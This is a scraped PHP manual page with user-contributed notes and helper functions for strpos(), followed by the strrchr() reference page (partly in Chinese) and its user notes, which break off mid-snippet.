Let's say you have a string $myString containing 50 'a's except on position 3 and 43, they contain 'b'.
And for this moment, forget that counting starts from 0.

strpos($myString, 'b', 40) returns 43, great.

And now the text: "Returns the position of where the needle exists relative to the beginning of the haystack string (independent of offset)."

So it doesn't really matter what offset I specify; I'll get the REAL position of the first occurrence in return, which is 3?

... no ...

"independent of offset" means, you will get the REAL positions, thus, not relative to your starting point (offset).

Substract your offset from strpos()'s answer, then you have the position relative to YOUR offset.
jexy dot ru at gmail dot com 23-Jan-2017 08:29
Docs are missing that WARNING is issued if needle is '' (empty string).

In case of empty haystack it just return false:

For example:

<?php
var_dump(strpos('foo', ''));

var_dump(strpos('', 'foo'));

var_dump(strpos('', ''));
?>

will output:

Warning: strpos(): Empty needle in /in/lADCh on line 3
bool(false)

bool(false)

Warning: strpos(): Empty needle in /in/lADCh on line 7
bool(false)

Note also that warning text may differ depending on php version, see https://3v4l.org/lADCh
m.m.j.kronenburg 06-Sep-2016 10:56
<?php

/**
 * Find the position of the first occurrence of one or more substrings in a
 * string.
 *
 * This function is simulair to function strpos() except that it allows to
 * search for multiple needles at once.
 *
 * @param string $haystack    The string to search in.
 * @param mixed $needles      Array containing needles or string containing
 *                            needle.
 * @param integer $offset     If specified, search will start this number of
 *                            characters counted from the beginning of the
 *                            string.
 * @param boolean $last       If TRUE then the farthest position from the start
 *                            of one of the needles is returned.
 *                            If FALSE then the smallest position from start of
 *                            one of the needles is returned.
 **/
function mstrpos($haystack, $needles, $offset = 0, $last = false)
{
  if(!is_array($needles)) { $needles = array($needles); }
  $found = false;
  foreach($needles as $needle)
  {
    $position = strpos($haystack, (string)$needle, $offset);
    if($position === false) { continue; }
    $exp = $last ? ($found === false || $position > $found) :
      ($found === false || $position < $found);
    if($exp) { $found = $position; }
  }
  return $found;
}

/**
 * Find the position of the first (partially) occurrence of a substring in a
 * string.
 *
 * This function is simulair to function strpos() except that it wil return a
 * position when the substring is partially located at the end of the string.
 *
 * @param string $haystack    The string to search in.
 * @param mixed $needle       The needle to search for.
 * @param integer $offset     If specified, search will start this number of
 *                            characters counted from the beginning of the
 *                            string.
 **/
function pstrpos($haystack, $needle, $offset = 0)
{
  $position = strpos($haystack, $needle, $offset);
  if($position !== false) { return $position; }

  for($i = strlen($needle); $i > 0; $i--)
  {
    if(substr($needle, 0, $i) == substr($haystack, -$i))
    { return strlen($haystack) - $i; }
  }
  return false;
}

/**
 * Find the position of the first (partially) occurrence of one or more
 * substrings in a string.
 *
 * This function is simulair to function strpos() except that it allows to
 * search for multiple needles at once and it wil return a position when one of
 * the substrings is partially located at the end of the string.
 *
 * @param string $haystack    The string to search in.
 * @param mixed $needles      Array containing needles or string containing
 *                            needle.
 * @param integer $offset     If specified, search will start this number of
 *                            characters counted from the beginning of the
 *                            string.
 * @param boolean $last       If TRUE then the farthest position from the start
 *                            of one of the needles is returned.
 *                            If FALSE then the smallest position from start of
 *                            one of the needles is returned.
 **/
function mpstrpos($haystack, $needles, $offset = 0, $last = false)
{
  if(!is_array($needles)) { $needles = array($needles); }
  $found = false;
  foreach($needles as $needle)
  {
    $position = pstrpos($haystack, (string)$needle, $offset);
    if($position === false) { continue; }
    $exp = $last ? ($found === false || $position > $found) :
      ($found === false || $position < $found);
    if($exp) { $found = $position; }
  }
  return $found;
}

?>
fabio at naoimporta dot com 25-Feb-2016 04:58
It is interesting to be aware of the behavior when the treatment of strings with characters using different encodings.

<?php
# Works like expected. There is no accent
var_dump(strpos("Fabio", 'b'));
#int(2)

# The "á" letter is occupying two positions
var_dump(strpos("Fábio", 'b')) ;
#int(3)

# Now, encoding the string "Fábio" to utf8, we get some "unexpected" outputs. Every letter that is no in regular ASCII table, will use 4 positions(bytes). The starting point remains like before.
# We cant find the characted, because the haystack string is now encoded.
var_dump(strpos(utf8_encode("Fábio"), 'á'));
#bool(false)

# To get the expected result, we need to encode the needle too
var_dump(strpos(utf8_encode("Fábio"), utf8_encode('á')));
#int(1)

# And, like said before, "á" occupies 4 positions(bytes)
var_dump(strpos(utf8_encode("Fábio"), 'b'));
#int(5)
lairdshaw at yahoo dot com dot au 03-Apr-2015 06:02
<?php
/*
 * A strpos variant that accepts an array of $needles - or just a string,
 * so that it can be used as a drop-in replacement for the standard strpos,
 * and in which case it simply wraps around strpos and stripos so as not
 * to reduce performance.
 *
 * The "m" in "strposm" indicates that it accepts *m*ultiple needles.
 *
 * Finds the earliest match of *all* needles. Returns the position of this match
 * or false if none found, as does the standard strpos. Optionally also returns
 * via $match either the matching needle as a string (by default) or the index
 * into $needles of the matching needle (if the STRPOSM_MATCH_AS_INDEX flag is
 * set).
 *
 * Case-insensitive searching can be specified via the STRPOSM_CI flag.
 * Note that for case-insensitive searches, if the STRPOSM_MATCH_AS_INDEX is
 * not set, then $match will be in the haystack's case, not the needle's case,
 * unless the STRPOSM_NC flag is also set.
 *
 * Flags can be combined using the bitwise or operator,
 * e.g. $flags = STRPOSM_CI|STRPOSM_NC
 */
define('STRPOSM_CI'            , 1); // CI => "case insensitive".
define('STRPOSM_NC'            , 2); // NC => "needle case".
define('STRPOSM_MATCH_AS_INDEX', 4);
function strposm($haystack, $needles, $offset = 0, &$match = null, $flags = 0) {
    // In the special case where $needles is not an array, simply wrap
    // strpos and stripos for performance reasons.
    if (!is_array($needles)) {
        $func = $flags & STRPOSM_CI ? 'stripos' : 'strpos';
        $pos = $func($haystack, $needles, $offset);
        if ($pos !== false) {
            $match = (($flags & STRPOSM_MATCH_AS_INDEX)
                      ? 0
                      : (($flags & STRPOSM_NC)
                         ? $needles
                         : substr($haystack, $pos, strlen($needles))
                        )
                      );
            return $pos;
        } else    goto strposm_no_match;
    }

    // $needles is an array. Proceed appropriately, initially by...
    // ...escaping regular expression meta characters in the needles.
    $needles_esc = array_map('preg_quote', $needles);
    // If either of the "needle case" or "match as index" flags are set,
    // then create a sub-match for each escaped needle by enclosing it in
    // parentheses. We use these later to find the index of the matching
    // needle.
    if (($flags & STRPOSM_NC) || ($flags & STRPOSM_MATCH_AS_INDEX)) {
        $needles_esc = array_map(
            function($needle) {return '('.$needle.')';},
            $needles_esc
        );
    }
    // Create the regular expression pattern to search for all needles.
    $pattern = '('.implode('|', $needles_esc).')';
    // If the "case insensitive" flag is set, then modify the regular
    // expression with "i", meaning that the match is "caseless".
    if ($flags & STRPOSM_CI) $pattern .= 'i';
    // Find the first match, including its offset.
    if (preg_match($pattern, $haystack, $matches, PREG_OFFSET_CAPTURE, $offset)) {
        // Pull the first entry, the overall match, out of the matches array.
        $found = array_shift($matches);
        // If we need the index of the matching needle, then...
        if (($flags & STRPOSM_NC) || ($flags & STRPOSM_MATCH_AS_INDEX)) {
            // ...find the index of the sub-match that is identical
            // to the overall match that we just pulled out.
            // Because sub-matches are in the same order as needles,
            // this is also the index into $needles of the matching
            // needle.
            $index = array_search($found, $matches);
        }
        // If the "match as index" flag is set, then return in $match
        // the matching needle's index, otherwise...
        $match = (($flags & STRPOSM_MATCH_AS_INDEX)
          ? $index
          // ...if the "needle case" flag is set, then index into
          // $needles using the previously-determined index to return
          // in $match the matching needle in needle case, otherwise...
          : (($flags & STRPOSM_NC)
             ? $needles[$index]
             // ...by default, return in $match the matching needle in
             // haystack case.
             : $found[0]
          )
        );
        // Return the captured offset.
        return $found[1];
    }

strposm_no_match:
    // Nothing matched. Set appropriate return values.
    $match = ($flags & STRPOSM_MATCH_AS_INDEX) ? false : null;
    return false;
}
?>
qrworld.net 04-Nov-2014 04:08
I found a function in this post http://softontherocks.blogspot.com/2014/11/buscar-multiples-textos-en-un-texto-con.html
that implements the search in both ways, case sensitive or case insensitive, depending on an input parameter.

The function is:

function getMultiPos($haystack, $needles, $sensitive=true, $offset=0){
    foreach($needles as $needle) {
        $result[$needle] = ($sensitive) ? strpos($haystack, $needle, $offset) : stripos($haystack, $needle, $offset);
    }
    return $result;
}

It was very useful for me.
ohcc at 163 dot com 27-Jun-2014 10:52
Be careful when the $haystack or $needle parameter is an integer.
If you are not sure of its type, you should  convert it into a string.
<?php
    var_dump(strpos(12345,1));//false
    var_dump(strpos(12345,'1'));//0
    var_dump(strpos('12345',1));//false
    var_dump(strpos('12345','1'));//0
    $a = 12345;
    $b = 1;
    var_dump(strpos(strval($a),strval($b)));//0
    var_dump(strpos((string)$a,(string)$b));//0
?>
binodluitel at hotmail dot com 27-Mar-2014 04:26
This function will return 0 if the string that you are searching matches i.e. needle matches the haystack

{code}
echo strpos('bla', 'bla');
{code}

Output: 0
Lurvik 16-Dec-2013 07:02
Don't know if already posted this, but if I did this is an improvement.

This function will check if a string contains  a needle. It _will_ work with arrays and multidimensional arrays (I've tried with a > 16 dimensional array and had no problem).

<?php
function str_contains($haystack, $needles)
{
    //If needles is an array
    if(is_array($needles))
    {
        //go trough all the elements
        foreach($needles as $needle)
        {
            //if the needle is also an array (ie needles is a multidimensional array)
            if(is_array($needle))
            {
                //call this function again
                if(str_contains($haystack, $needle))
                {
                    //Will break out of loop and function.
                    return true;
                }

                return false;
            }

            //when the needle is NOT an array:
                //Check if haystack contains the needle, will ignore case and check for whole words only
            elseif(preg_match("/\b$needle\b/i", $haystack) !== 0)
            {
                return true;
            }
        }
    }
    //if $needles is not an array...
    else
    {
        if(preg_match("/\b$needles\b/i", $haystack) !== 0)
        {
            return true;
        }
    }

    return false;
}
?>
Anonymous 18-Feb-2013 09:55
The most straightforward way to prevent this function from returning 0 is:

  strpos('x'.$haystack, $needle, 1)

The 'x' is simply a garbage character which is only there to move everything 1 position.
The number 1 is there to make sure that this 'x' is ignored in the search.
This way, if $haystack starts with $needle, then the function returns 1 (rather than 0).
mtroy dot student at gmail dot com 25-Apr-2012 04:46
when you want to know how much of substring occurrences, you'll use "substr_count".
But, retrieve their positions, will be harder.
So, you can do it by starting with the last occurrence :

function strpos_r($haystack, $needle)
{
    if(strlen($needle) > strlen($haystack))
        trigger_error(sprintf("%s: length of argument 2 must be <= argument 1", __FUNCTION__), E_USER_WARNING);

    $seeks = array();
    while($seek = strrpos($haystack, $needle))
    {
        array_push($seeks, $seek);
        $haystack = substr($haystack, 0, $seek);
    }
    return $seeks;
}

it will return an array of all occurrences a the substring in the string

Example :

$test = "this is a test for testing a test function... blah blah";
var_dump(strpos_r($test, "test"));

// output

array(3) {
  [0]=>
  int(29)
  [1]=>
  int(19)
  [2]=>
  int(10)
}

Paul-antoine
Malézieux.
martijn at martijnfrazer dot nl 25-Feb-2012 03:58
This is a function I wrote to find all occurrences of a string, using strpos recursively.

<?php
function strpos_recursive($haystack, $needle, $offset = 0, &$results = array()) {
    $offset = strpos($haystack, $needle, $offset);
    if($offset === false) {
        return $results;
    } else {
        $results[] = $offset;
        return strpos_recursive($haystack, $needle, ($offset + 1), $results);
    }
}
?>

This is how you use it:

<?php
$string = 'This is some string';
$search = 'a';
$found = strpos_recursive($string, $search);

if($found) {
    foreach($found as $pos) {
        echo 'Found "'.$search.'" in string "'.$string.'" at position <b>'.$pos.'</b><br />';
    }
} else {
    echo '"'.$search.'" not found in "'.$string.'"';
}
?>
rjeggens at ijskoud dot org 24-Jan-2012 07:38
I lost an hour before I noticed that strpos only returns FALSE as a boolean, never TRUE.. This means that

strpos() !== false

is a different beast then:

strpos() === true

since the latter will never be true. After I found out, The warning in the documentation made a lot more sense.
gjh42 - simonokewode at hotmail dot com 07-Nov-2011 07:59
A pair of functions to replace every nth occurrence of a string with another string, starting at any position in the haystack. The first works on a string and the second works on a single-level array of strings, treating it as a single string for replacement purposes (any needles split over two array elements are ignored).

Can be used for formatting dynamically-generated HTML output without touching the original generator: e.g. add a newLine class tag to every third item in a floated list, starting with the fourth item.

<?php
/* String Replace at Intervals   by Glenn Herbert (gjh42)    2010-12-17
 */

//(basic locator by someone else - name unknown)
//strnposr() - Find the position of nth needle in haystack.
function strnposr($haystack, $needle, $occurrence, $pos = 0) {
    return ($occurrence<2)?strpos($haystack, $needle, $pos):strnposr($haystack,$needle,$occurrence-1,strpos($haystack, $needle, $pos) + 1);
}

//gjh42
//replace every nth occurrence of $needle with $repl, starting from any position
function str_replace_int($needle, $repl, $haystack, $interval, $first=1, $pos=0) {
  if ($pos >= strlen($haystack) or substr_count($haystack, $needle, $pos) < $first) return $haystack;
  $firstpos = strnposr($haystack, $needle, $first, $pos);
  $nl = strlen($needle);
  $qty = floor(substr_count($haystack, $needle, $firstpos + 1)/$interval);
  do { //in reverse order
    $nextpos = strnposr($haystack, $needle, ($qty * $interval) + 1, $firstpos);
    $qty--;
    $haystack = substr_replace($haystack, $repl, $nextpos, $nl);
  } while ($nextpos > $firstpos);
  return $haystack;
}
  //$needle = string to find
  //$repl = string to replace needle
  //$haystack = string to do replacing in
  //$interval = number of needles in loop
  //$first=1 = first occurrence of needle to replace (defaults to first)
  //$pos=0 = position in haystack string to start from (defaults to first)

//replace every nth occurrence of $needle with $repl, starting from any position, in a single-level array
function arr_replace_int($needle, $repl, $arr, $interval, $first=1, $pos=0, $glue='|+|') {
  if (!is_array($arr))  return $arr;
  foreach($arr as $key=>$value){
    if (is_array($arr[$key])) return $arr;
  }
  $haystack = implode($glue, $arr);
  $haystack = str_replace_int($needle, $repl, $haystack, $interval, $first, $pos);
  $tarr = explode($glue, $haystack);
  $i = 0;
  foreach($arr as $key=>$value){
    $arr[$key] = $tarr[$i];
    $i++;
  }
  return $arr;
}
?>
If $arr is not an array, or a multilevel array, it is returned unchanged.
akarmenia at gmail dot com 05-Mar-2011 04:44
My version of strpos with needles as an array. Also allows for a string, or an array inside an array.

<?php
function strpos_array($haystack, $needles) {
    if ( is_array($needles) ) {
        foreach ($needles as $str) {
            if ( is_array($str) ) {
                $pos = strpos_array($haystack, $str);
            } else {
                $pos = strpos($haystack, $str);
            }
            if ($pos !== FALSE) {
                return $pos;
            }
        }
    } else {
        return strpos($haystack, $needles);
    }
}

// Test
echo strpos_array('This is a test', array('test', 'drive')); // Output is 10

?>
gambajaja at yahoo dot com 17-Aug-2010 03:25
<?php
$my_array = array ('100,101', '200,201', '300,301');
$check_me_in = array ('100','200','300','400');
foreach ($check_me_in as $value_cmi){
    $is_in=FALSE; #asume that $check_me_in isn't in $my_array
    foreach ($my_array as $value_my){
        $pos = strpos($value_my, $value_cmi);
        if ($pos===0)
            $pos++;
        if ($pos==TRUE){
            $is_in=TRUE;
            $value_my2=$value_my;
            }
    }
    if ($is_in) echo "ID $value_cmi in \$check_me_in I found in value '$value_my2' \n";
}
?>

The above example will output
ID 100 in $check_me_in I found in value '100,101'
ID 200 in $check_me_in I found in value '200,201'
ID 300 in $check_me_in I found in value '300,301'
usulaco at gmail dot com 11-Aug-2010 05:04
Parse strings between two others in to array.

<?php
function g($string,$start,$end){
     preg_match_all('/' . preg_quote($start, '/') . '(.*?)'. preg_quote($end, '/').'/i', $string, $m);
     $out = array();

     foreach($m[1] as $key => $value){
       $type = explode('::',$value);
       if(sizeof($type)>1){
          if(!is_array($out[$type[0]]))
             $out[$type[0]] = array();
          $out[$type[0]][] = $type[1];
       } else {
          $out[] = $value;
       }
     }
  return $out;
}
print_r(g('Sample text, [/text to extract/] Rest of sample text [/WEB::http://google.com/] bla bla bla. ','[/','/]'));
?>

results:
Array
(
    [0] => text to extract
    [WEB] => Array
        (
            [0] => http://google.com
        )

)

Can be helpfull to custom parsing :)
Achintya 06-Nov-2009 02:03
A function I made to find the first occurrence of a particular needle not enclosed in quotes(single or double). Works for simple nesting (no backslashed nesting allowed).

<?php
function strposq($haystack, $needle, $offset = 0){
    $len = strlen($haystack);
    $charlen = strlen($needle);
    $flag1 = false;
    $flag2 = false;
    for($i = $offset; $i < $len; $i++){
        if(substr($haystack, $i, 1) == "'"){
            $flag1 = !$flag1 && !$flag2 ? true : false;
        }
        if(substr($haystack, $i, 1) == '"'){
            $flag2 = !$flag1 && !$flag2 ? true : false;
        }
        if(substr($haystack, $i, $charlen) == $needle && !$flag1 && !$flag2){
            return $i;
        }
    }
    return false;
}

echo strposq("he'llo'character;\"'som\"e;crap", ";"); //16
?>
yasindagli at gmail dot com 05-Oct-2009 09:05
This function finds postion of nth occurence of a letter starting from offset.

<?php
function nth_position($str, $letter, $n, $offset = 0){
    $str_arr = str_split($str);
    $letter_size = array_count_values(str_split(substr($str, $offset)));
    if( !isset($letter_size[$letter])){
        trigger_error('letter "' . $letter . '" does not exist in ' . $str . ' after ' . $offset . '. position', E_USER_WARNING);
        return false;
    } else if($letter_size[$letter] < $n) {
        trigger_error('letter "' . $letter . '" does not exist ' . $n .' times in ' . $str . ' after ' . $offset . '. position', E_USER_WARNING);
        return false;
    }
    for($i = $offset, $x = 0, $count = (count($str_arr) - $offset); $i < $count, $x != $n; $i++){
        if($str_arr[$i] == $letter){
            $x++;
        }
    }
    return $i - 1;
}

echo nth_position('foobarbaz', 'a', 2); //7
echo nth_position('foobarbaz', 'b', 1, 4); //6
?>
digitalpbk [at] gmail.com 30-Sep-2009 08:37
This function raises a warning if the offset is not between 0 and the length of string:

Warning: strpos(): Offset not contained in string in %s on line %d
ah dot d at hotmail dot com 11-Aug-2009 01:29
A strpos modification to return an array of all the positions of a needle in the haystack

<?php
function strallpos($haystack,$needle,$offset = 0){
    $result = array();
    for($i = $offset; $i<strlen($haystack); $i++){
        $pos = strpos($haystack,$needle,$i);
        if($pos !== FALSE){
            $offset =  $pos;
            if($offset >= $i){
                $i = $offset;
                $result[] = $offset;
            }
        }
    }
    return $result;
}
?>

example:-

<?php
$haystack = "ASD is trying to get out of the ASDs cube but the other ASDs told him that his behavior will destroy the ASDs world";

$needle = "ASD";

print_r(strallpos($haystack,$needle));

//getting all the positions starting from a specified position

print_r(strallpos($haystack,$needle,34));
?>
teddanzig at yahoo dot com 23-Mar-2009 09:48
routine to return -1 if there is no match for strpos

<?php
//instr function to mimic vb instr fucntion
function InStr($haystack, $needle)
{
    $pos=strpos($haystack, $needle);
    if ($pos !== false)
    {
        return $pos;
    }
    else
    {
        return -1;
    }
}
?>
Tim 17-Nov-2008 05:52
If you would like to find all occurences of a needle inside a haystack you could use this function strposall($haystack,$needle);. It will return an array with all the strpos's.

<?php
/**
 * strposall
 *
 * Find all occurrences of a needle in a haystack
 *
 * @param string $haystack
 * @param string $needle
 * @return array or false
 */
function strposall($haystack,$needle){

    $s=0;
    $i=0;

    while (is_integer($i)){

        $i = strpos($haystack,$needle,$s);

        if (is_integer($i)) {
            $aStrPos[] = $i;
            $s = $i+strlen($needle);
        }
    }
    if (isset($aStrPos)) {
        return $aStrPos;
    }
    else {
        return false;
    }
}
?>
ilaymyhat-rem0ve at yahoo dot com 01-Apr-2008 04:17
This might be useful.

<?php
class String{

    //Look for a $needle in $haystack in any position
    public static function contains(&$haystack, &$needle, &$offset)
    {
        $result = strpos($haystack, $needle, $offset);
        return $result !== FALSE;
    }

    //intuitive implementation .. if not found returns -1.
    public static function strpos(&$haystack, &$needle, &$offset)
    {
        $result = strpos($haystack, $needle, $offset);
        if ($result === FALSE )
        {
            return -1;
        }
        return $result;
    }

}//String
?>
Suggested re-write for pink WARNING box 11-Jan-2008 03:45
WARNING

As strpos may return either FALSE (substring absent) or 0 (substring at start of string), strict versus loose equivalency operators must be used very carefully.

To know that a substring is absent, you must use:

=== FALSE

To know that a substring is present (in any position including 0), you can use either of:

!== FALSE  (recommended)
 > -1  (note: or greater than any negative number)

To know that a substring is at the start of the string, you must use:

=== 0

To know that a substring is in any position other than the start, you can use any of:

 > 0  (recommended)
!= 0  (note: but not !== 0 which also equates to FALSE)
!= FALSE  (disrecommended as highly confusing)

Also note that you cannot compare a value of "" to the returned value of strpos. With a loose equivalence operator (== or !=) it will return results which don't distinguish between the substring's presence versus position. With a strict equivalence operator (=== or !==) it will always return false.
user at nomail dot com 15-May-2007 02:21
This is a bit more useful when scanning a large string for all occurances between 'tags'.

<?php
function getStrsBetween($s,$s1,$s2=false,$offset=0) {
    /*====================================================================
    Function to scan a string for items encapsulated within a pair of tags

    getStrsBetween(string, tag1, <tag2>, <offset>

    If no second tag is specified, then match between identical tags

    Returns an array indexed with the encapsulated text, which is in turn
    a sub-array, containing the position of each item.

    Notes:
    strpos($needle,$haystack,$offset)
    substr($string,$start,$length)

    ====================================================================*/

    if( $s2 === false ) { $s2 = $s1; }
    $result = array();
    $L1 = strlen($s1);
    $L2 = strlen($s2);

    if( $L1==0 || $L2==0 ) {
        return false;
    }

    do {
        $pos1 = strpos($s,$s1,$offset);

        if( $pos1 !== false ) {
            $pos1 += $L1;

            $pos2 = strpos($s,$s2,$pos1);

            if( $pos2 !== false ) {
                $key_len = $pos2 - $pos1;

                $this_key = substr($s,$pos1,$key_len);

                if( !array_key_exists($this_key,$result) ) {
                    $result[$this_key] = array();
                }

                $result[$this_key][] = $pos1;

                $offset = $pos2 + $L2;
            } else {
                $pos1 = false;
            }
        }
    } while($pos1 !== false );

    return $result;
}
?>
spinicrus at gmail dot com 14-Oct-2006 10:58
if you want to get the position of a substring relative to a substring of your string, BUT in REVERSE way:

<?php

function strpos_reverse_way($string,$charToFind,$relativeChar) {
    //
    $relativePos = strpos($string,$relativeChar);
    $searchPos = $relativePos;
    $searchChar = '';
    //
    while ($searchChar != $charToFind) {
        $newPos = $searchPos-1;
        $searchChar = substr($string,$newPos,strlen($charToFind));
        $searchPos = $newPos;
    }
    //
    if (!empty($searchChar)) {
        //
        return $searchPos;
        return TRUE;
    }
    else {
        return FALSE;
    }
    //
}

?>
philip 25-Aug-2004 03:52
Many people look for in_string which does not exist in PHP, so, here's the most efficient form of in_string() (that works in both PHP 4/5) that I can think of:
<?php
function in_string($needle, $haystack, $insensitive = false) {
    if ($insensitive) {
        return false !== stristr($haystack, $needle);
    } else {
        return false !== strpos($haystack, $needle);
    }
}
?>
bishop 21-Apr-2004 03:38
Code like this:
<?php
if (strpos('this is a test', 'is') !== false) {
    echo "found it";
}
?>

gets repetitive, is not very self-explanatory, and most people handle it incorrectly anyway. Make your life easier:

<?php
function str_contains($haystack, $needle, $ignoreCase = false) {
    if ($ignoreCase) {
        $haystack = strtolower($haystack);
        $needle   = strtolower($needle);
    }
    $needlePos = strpos($haystack, $needle);
    return ($needlePos === false ? false : ($needlePos+1));
}
?>

Then, you may do:
<?php
// simplest use
if (str_contains('this is a test', 'is')) {
    echo "Found it";
}

// when you need the position, as well whether it's present
$needlePos = str_contains('this is a test', 'is');
if ($needlePos) {
    echo 'Found it at position ' . ($needlePos-1);
}

// you may also ignore case
$needlePos = str_contains('this is a test', 'IS', true);
if ($needlePos) {
    echo 'Found it at position ' . ($needlePos-1);
}
?>


查找指定字符在字符串中的最后一次出现

  • ? strpos
  • strrev ?
  • PHP Manual
  • 字符串 函数
  • 查找指定字符在字符串中的最后一次出现

strrchr

(PHP 4, PHP 5, PHP 7, PHP 8)

strrchr — 查找指定字符在字符串中的最后一次出现

说明

strrchr(string $haystack, string $needle, bool $before_needle = false): string|false

该函数返回 haystack 字符串中的一部分，这部分以 needle 的最后出现位置开始，直到 haystack 末尾。

参数

haystack

在该字符串中查找。

needle

如果 needle 包含了多个字符，那么仅使用第一个字符。该行为不同于 strstr()。

Prior to PHP 8.0.0, if needle is not a string, it is converted to an integer and applied as the ordinal value of a character. This behavior is deprecated as of PHP 7.3.0, and relying on it is highly discouraged. Depending on the intended behavior, the needle should either be explicitly cast to string, or an explicit call to chr() should be performed.

before_needle

如果为 true，strrchr() 返回最后一次出现 needle 之前的 haystack 部分（不包括 needle）。

返回值

该函数返回字符串的一部分。如果 needle 未被找到，返回 false。

更新日志

版本 | 说明
8.3.0 | 新增 before_needle 参数。
8.0.0 | needle 现在接受空字符串。
8.0.0 | 不再支持将 int 作为 needle 传递。
7.3.0 | 弃用将 int 作为 needle 传递。

示例

Example #1 strrchr() 示例

<?php
$ext = strrchr('somefile.txt', '.');
echo "file extension: $ext \n";
$ext = $ext ? strtolower(substr($ext, 1)) : '';
echo "file extension: $ext";
?>

以上示例的输出类似于：

file extension: .txt
file extension: txt

注释

Note: 此函数可安全用于二进制对象。

参见

  • strstr() - 查找字符串的首次出现
  • strrpos() - 计算指定字符串在目标字符串中最后一次出现的位置

User Contributed Notes

alex_bb23 at yahoo.co.uk 02-Aug-2017 08:32
I think that a good way (I don't know if is the best one) to extract a portion from a string:
<?php

$image = "image.name.jpg";
// get file extension
preg_replace("/.*\.(.*)$/", "$1", $last);
// will result: jpg

?>

Is faster that substr(strrchr...
matthewkastor at live dot com 30-Mar-2011 01:07
<?php
/**
 * Removes the preceeding or proceeding portion of a string
 * relative to the last occurrence of the specified character.
 * The character selected may be retained or discarded.
 *
 * Example usage:
 * <code>
 * $example = 'http://example.com/path/file.php';
 * $cwd_relative[] = cut_string_using_last('/', $example, 'left', true);
 * $cwd_relative[] = cut_string_using_last('/', $example, 'left', false);
 * $cwd_relative[] = cut_string_using_last('/', $example, 'right', true);
 * $cwd_relative[] = cut_string_using_last('/', $example, 'right', false);
 * foreach($cwd_relative as $string) {
 *     echo "$string <br>".PHP_EOL;
 * }
 * </code>
 *
 * Outputs:
 * <code>
 * http://example.com/path/
 * http://example.com/path
 * /file.php
 * file.php
 * </code>
 *
 * @param string $character the character to search for.
 * @param string $string the string to search through.
 * @param string $side determines whether text to the left or the right of the character is returned.
 * Options are: left, or right.
 * @param bool $keep_character determines whether or not to keep the character.
 * Options are: true, or false.
 * @return string
 */
function cut_string_using_last($character, $string, $side, $keep_character=true) {
    $offset = ($keep_character ? 1 : 0);
    $whole_length = strlen($string);
    $right_length = (strlen(strrchr($string, $character)) - 1);
    $left_length = ($whole_length - $right_length - 1);
    switch($side) {
        case 'left':
            $piece = substr($string, 0, ($left_length + $offset));
            break;
        case 'right':
            $start = (0 - ($right_length + $offset));
            $piece = substr($string, $start);
            break;
        default:
            $piece = false;
            break;
    }
    return($piece);
}
?>
readless at gmx dot net 06-Jun-2006 07:55
to: repley at freemail dot it

the code works very well, but as i was trying to cut script names (e.g.: $_SERVER["SCRIPT_NAME"] => /index.php, cut the string at "/" and return "index.php") it returned nothing (false). i've modified your code and now it works also if the needle is the first char.
- regards from germany

<?php
//strxchr(string haystack, string needle [, bool int leftinclusive [, bool int rightinclusive ]])
function strxchr($haystack, $needle, $l_inclusive = 0, $r_inclusive = 0){
   if(strrpos($haystack, $needle)){
       //Everything before last $needle in $haystack.
       $left =  substr($haystack, 0, strrpos($haystack, $needle) + $l_inclusive);

       //Switch value of $r_inclusive from 0 to 1 and viceversa.
       $r_inclusive = ($r_inclusive == 0) ? 1 : 0;

       //Everything after last $needle in $haystack.
       $right =  substr(strrchr($haystack, $needle), $r_inclusive);

       //Return $left and $right into an array.
       return array($left, $right);
   } else {
       if(strrchr($haystack, $needle)) return array('', substr(strrchr($haystack, $needle), $r_inclusive));
       else return false;
   }
}
?>
sekati at gmail dot com 08-Apr-2006 05:43
just a small addition to carlos dot lage at gmail dot com note which makes it a bit more useful and flexible:

<?php
// return everything up to last instance of needle
// use $trail to include needle chars including and past last needle
function reverse_strrchr($haystack, $needle, $trail) {
    return strrpos($haystack, $needle) ? substr($haystack, 0, strrpos($haystack, $needle) + $trail) : false;
}
// usage:
$ns = (reverse_strrchr($_SERVER["SCRIPT_URI"], "/", 0));
$ns2 = (reverse_strrchr($_SERVER["SCRIPT_URI"], "/", 1));
echo($ns . "<br>" . $ns2);
?>
freakinunreal at hotmail dot com 24-Dec-2005 10:54
to marcokonopacki at hotmail dot com.

I had to make a slight change in your function for it to return the complete needle inclusive.

// Reverse search of strrchr.
function strrrchr($haystack,$needle)
{

   // Returns everything before $needle (inclusive).
   //return substr($haystack,0,strpos($haystack,$needle)+1);
   // becomes
   return substr($haystack,0,strpos($haystack,$needle)+strlen($needle));
}

Note: the +1 becomes +strlen($needle)

Otherwise it only returns the first character in needle backwards.
Primo Anderson Do S?tio 29-Jul-2005 10:24
$filename = 'strrchr_test.php';
print strrchr( $filename, '.' );

Result:
.php

$other_filename = 'strrchr_test.asp.php';
print  strrchr( $other_filename, '.' );

Result:
.php
carlos dot lage at gmail dot com 03-Apr-2005 11:45
I used dchris1 at bigpond dot net dot au 's reverse strrchr and reduced it to one line of code and fixed it's functionality - the real strrchr() returns FALSE if the needle is not found, not the haystack :)

<?php
// reverse strrchr()
function reverse_strrchr($haystack, $needle)
{
                return strrpos($haystack, $needle) ? substr($haystack, 0, strrpos($haystack, $needle) +1 ) : false;
}
?>
dchris1 at bigpond dot net dot au 16-Feb-2004 07:16
The function provided by marcokonopacki at hotmail dot com isn't really a reverse-version of strrchr(), rather a reverse version of strchr(). It returns everything from the start of $haystack up to the FIRST instance of the $needle. This is basically a reverse of the behavior which you expect from strchr(). A reverse version of strrchr() would return everything in $haystack up to the LAST instance of $needle, eg:

<?php
// reverse strrchr() - PHP v4.0b3 and above
function reverse_strrchr($haystack, $needle)
{
    $pos = strrpos($haystack, $needle);
    if($pos === false) {
        return $haystack;
    }
    return substr($haystack, 0, $pos + 1);
}
?>

Note that this function will need to be modified slightly to work with pre 4.0b3 versions of PHP due to the return type of strrpos() ('0' is not necessarily 'false'). Check the documentation on strrpos() for more info.

A function like this can be useful for extracting the path to a script, for example:

<?
$string = "/path/to/the/file/filename.php";

echo reverse_strrchr($string, '/'); // will echo "/path/to/the/file/"
?>
andfarm at thibs dot menloschool dot org 23-May-2003 04:24
strrchr is also very useful for finding the extension of a file. For example:

$ext = strrchr($filename, ".");

and $ext will contain the extension of the file, including a ".", if the file has an extension, and FALSE if the file has no extension. If the file has multiple extensions, such as "evilfile.jpg.vbs", then this construction will just return the last extension.
marcokonopacki at hotmail dot com 14-Apr-2003 12:43
<?

// Reverse search of strrchr.
function strrrchr($haystack,$needle)
{

    // Returns everything before $needle (inclusive).
    return substr($haystack,0,strpos($haystack,$needle)+1);

}

$string = "FIELD NUMBER(9) NOT NULL";

